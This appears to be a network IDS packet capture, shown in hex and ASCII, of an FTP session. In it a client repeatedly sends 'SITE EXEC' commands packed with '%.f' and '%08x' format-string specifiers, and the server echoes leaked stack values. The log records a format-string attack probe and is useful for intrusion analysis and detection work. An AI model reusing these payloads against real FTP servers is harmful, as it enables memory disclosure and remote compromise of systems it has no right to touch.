2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 7C 25 30 38 78 7C f%.f%.f%.f|%08x|
25 30 38 78 7C 0A %08x|.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.091034 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0xF1
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12063 IpLen:20
DgmLen:227 DF
***AP*** Seq: 0x4DD6D672 Ack:
0xC9871CA4 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490635 488730
32 30 30 2D 37 20 6D 6D 6D 6D 6E 6E 6E 6E 2D 32 200-7 mmmmnnnn-2
2D 32 30 30 30 2D 32 30 30 30 30 30 30 30 30 30 -2000-2000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 6E 61 6E 30 30 30 30 30 00000000nan00000
30 30 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 000-200000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2D 000000000000000-
32 2D 32 34 30 6E 61 6E 30 33 7C 62 66 66 66 64 2-240nan03|bfffd
62 32 38 7C 34 30 30 63 31 32 38 62 7C 0D 0A b28|400c128b|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.109481 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1223 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9871CA4 Ack:
0x4DD6D721 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488733 490635
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.109569 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x1EF
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12064 IpLen:20
DgmLen:481 DF
***AP*** Seq: 0x4DD6D721 Ack:
0xC9871CA4 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490637 488733
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
6D 6D 6D 6D 6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E mmmmnnnn%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 7C 25 .f%.f%.f%.f%.f|%
30 38 78 7C 25 30 38 78 7C 27 29 0D 0A 08x|%08x|')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.116235 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x1EB
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1224 IpLen:20
DgmLen:477 DF
***AP*** Seq: 0xC9871CA4 Ack:
0x4DD6D8CE Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488733 490637
53 49 54 45 20 45 58 45 43 20 37 20 6D 6D 6D 6D SITE EXEC 7 mmmm
6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E 66 25 2E 66 nnnn%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 7C 25 30 f%.f%.f%.f%.f|%0
38 78 7C 25 30 38 78 7C 0A 8x|%08x|.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.122047 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0xF2
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12065 IpLen:20
DgmLen:228 DF
***AP*** Seq: 0x4DD6D8CE Ack:
0xC9871E4D Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490638 488733
32 30 30 2D 37 20 6D 6D 6D 6D 6E 6E 6E 6E 2D 32 200-7 mmmmnnnn-2
2D 32 30 30 30 2D 32 30 30 30 30 30 30 30 30 30 -2000-2000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 6E 61 6E 30 30 30 30 30 00000000nan00000
30 30 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 000-200000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2D 000000000000000-
32 2D 32 34 30 6E 61 6E 30 33 34 7C 62 66 66 66 2-240nan034|bfff
64 62 37 38 7C 34 30 31 36 37 31 65 63 7C 0D 0A db78|401671ec|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.130148 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1225 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9871E4D Ack:
0x4DD6D97E Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488736 490638
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.130236 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x1F2
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12066 IpLen:20
DgmLen:484 DF
***AP*** Seq: 0x4DD6D97E Ack:
0xC9871E4D Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490639 488736
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
6D 6D 6D 6D 6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E mmmmnnnn%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 7C 25 30 38 78 7C 25 30 38 78 7C 27 29 0D 0A f|%08x|%08x|')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.136631 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x1EE
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1226 IpLen:20
DgmLen:480 DF
***AP*** Seq: 0xC9871E4D Ack:
0x4DD6DB2E Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488736 490639
53 49 54 45 20 45 58 45 43 20 37 20 6D 6D 6D 6D SITE EXEC 7 mmmm
6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E 66 25 2E 66 nnnn%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
7C 25 30 38 78 7C 25 30 38 78 7C 0A |%08x|%08x|.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.141354 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0xF3
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12067 IpLen:20
DgmLen:229 DF
***AP*** Seq: 0x4DD6DB2E Ack:
0xC9871FF9 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490640 488736
32 30 30 2D 37 20 6D 6D 6D 6D 6E 6E 6E 6E 2D 32 200-7 mmmmnnnn-2
2D 32 30 30 30 2D 32 30 30 30 30 30 30 30 30 30 -2000-2000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 6E 61 6E 30 30 30 30 30 00000000nan00000
30 30 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 000-200000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2D 000000000000000-
32 2D 32 34 30 6E 61 6E 30 33 34 36 7C 62 66 66 2-240nan0346|bff
66 64 62 37 38 7C 62 66 66 66 64 63 38 61 7C 0D fdb78|bfffdc8a|.
0A .
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.164668 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1227 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9871FF9 Ack:
0x4DD6DBDF Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488739 490640
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.164758 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x1F5
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12068 IpLen:20
DgmLen:487 DF
***AP*** Seq: 0x4DD6DBDF Ack:
0xC9871FF9 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490642 488739
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
6D 6D 6D 6D 6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E mmmmnnnn%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 7C 25 30 38 78 7C 25 30 38 78 7C 27 f%.f|%08x|%08x|'
29 0D 0A )..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.171537 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x1F1
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1228 IpLen:20
DgmLen:483 DF
***AP*** Seq: 0xC9871FF9 Ack:
0x4DD6DD92 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488739 490642
53 49 54 45 20 45 58 45 43 20 37 20 6D 6D 6D 6D SITE EXEC 7 mmmm
6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E 66 25 2E 66 nnnn%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 7C 25 30 38 78 7C 25 30 38 78 7C 0A %.f|%08x|%08x|.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.173797 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800 len:0xF5
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12069 IpLen:20
DgmLen:231 DF
***AP*** Seq: 0x4DD6DD92 Ack:
0xC98721A8 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490643 488739
32 30 30 2D 37 20 6D 6D 6D 6D 6E 6E 6E 6E 2D 32 200-7 mmmmnnnn-2
2D 32 30 30 30 2D 32 30 30 30 30 30 30 30 30 30 -2000-2000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 6E 61 6E 30 30 30 30 30 00000000nan00000
30 30 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 000-200000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2D 000000000000000-
32 2D 32 34 30 6E 61 6E 30 33 34 36 2D 32 7C 62 2-240nan0346-2|b
66 66 66 64 63 38 65 7C 30 30 30 30 30 30 30 30 fffdc8e|00000000
7C 0D 0A |..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.194265 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1229 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC98721A8 Ack:
0x4DD6DE45 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488742 490643
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
